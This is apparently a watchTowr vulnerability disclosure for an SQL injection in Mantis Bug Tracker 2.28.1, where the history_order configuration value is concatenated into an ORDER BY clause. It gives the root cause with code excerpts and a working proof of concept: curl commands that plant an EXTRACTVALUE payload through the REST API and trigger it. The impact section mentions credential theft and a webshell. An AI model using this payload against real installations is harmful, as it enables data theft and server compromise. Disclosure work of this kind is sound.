WT-2026-0068

watchTowr Vulnerability Report

- Product affected: Mantis Bug Tracker
- Version tested: 2.28.1
- Platform: Linux
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - SQL Injection via `history_order` Configuration Value

MantisBT 2.28.1 contains a SQL injection vulnerability in `core/history_api.php` (line 280). The `history_order` configuration value is concatenated directly into a SQL `ORDER BY` clause without any sanitization, parameterization, or validation against a whitelist.

An administrator can set this configuration value via the web UI (`adm_config_set.php`) or the REST API (`PATCH /api/rest/config`). The injected SQL then executes whenever **any user** views a bug with history entries.

Root Cause

1. Unsanitized Config Value in SQL (`core/history_api.php`, lines 226, 280)

```
// Line 226
$t_history_order = config_get( 'history_order' );
// ...
// Line 280
$t_query->append_sql( ' ORDER BY {bug_history}.date_modified
' . $t_history_order
    . ', {bug_history}.id ' . $t_history_order );
```

`DbQuery::append_sql()` (line 188 of `core/classes/DbQuery.class.php`) performs pure string concatenation with no sanitization. The final SQL is executed via ADOdb's `$g_db->Execute()` with the injected value baked into the query string.

2. Config Value Not Validated

The `history_order` config is expected to contain only `ASC` or `DESC`, but no validation enforces this. It is not in `$g_global_settings` (line 5240 of `config_defaults_inc.php`), so it **can** be overridden per-project in the `mantis_config_table` via the config editor or REST API.

Proof of Concept

Error-Based SQL Injection - Extract MySQL Version

As a simple example, we can extract the MySQL version if MantisDB is configured to use MySQL.

Step 1: Set malicious `history_order` via REST API

```
$ curl -s -X PATCH 'http://localhost:8989/api/rest/config' \
  -H 'Content-Type: application/json' \
  -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MANTIS_STRI
NG_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0hktfOdNS
8dA-0x_yZNKUo' \
  -d '{"configs":[{"option":"history_order","value":"ASC, EXT
RACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))"}],"project
_id":0,"user_id":0}'
```

Step 2: Trigger the injection by viewing any bug with history

```
$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MAN
TIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0
hktfOdNS8dA-0x_yZNKUo' \
  '<http://localhost:8989/view.php?id=1>' | grep 'XPATH synta
x error'
```

The error page displays the MySQL version extracted via `EXTRACTVALUE`:

```
XPATH syntax error: '~8.4.9~'
```

Impact

- **Sensitive data extraction** from the entire `bugtracker` database including user credentials (`cookie_string`, password hashes), API tokens, and private issue data
- **With MySQL FILE privilege**: full RCE via `INTO OUTFILE` writing a PHP webshell to the web root
- The admin plants the payload once; **any authenticated user** viewing a bug with history triggers the injection